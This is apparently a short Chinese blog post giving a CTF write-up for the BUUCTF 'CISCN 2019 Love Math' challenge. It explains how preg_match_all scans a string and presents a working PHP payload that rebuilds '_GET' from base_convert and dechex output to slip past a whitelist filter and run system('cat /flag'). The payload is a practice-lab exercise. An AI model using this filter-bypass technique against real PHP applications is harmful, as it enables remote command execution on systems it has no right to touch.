BUU-[CISCN 2019 初赛]Love Math
preg_match_all()函数
. 真实的执行逻辑:指针移动
preg_match_all 不会修改你的原字符串 $content。它的逻辑是这样的:
初始状态:指针指向字符串的开头(位置 0)。
寻找匹配:从指针位置开始往后找,直到发现符合正则的内容。
捕获内容:一旦匹配成功(比如抓到了 echo),它会记录下这个结果。
跳过并更新指针:它会把指针移动到刚匹配完的内容之后。
循环往复:从新指针位置继续寻找,直到字符串末尾。
$_GET{a}照样可以正常工作
解析正确的payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{abs})&pi=system&abs=cat /flag
- base_convert(37907361743,10,36) 返回值为hex2bin
- dechex(1598506324) 返回值为5f474554
- 组合起来就是hex2bin(5f474554) 返回值为_GET
- 也就是$pi="_GET"
- $$pi{pi}="$_GET{pi}"
- $$pi{abs}="$_GET{abs}"
- ("$_GET{pi}")("$_GET{abs}") 这是一个PHP可变函数:如果一个字符串, 其值和函数名相同, 并且其后跟着(), 那么PHP对将其视为函数进行调用
posted on 2026-01-31 21:20 misaki%20mei 阅读(0) 评论(0) 收藏 举报
浙公网安备 33010602011771号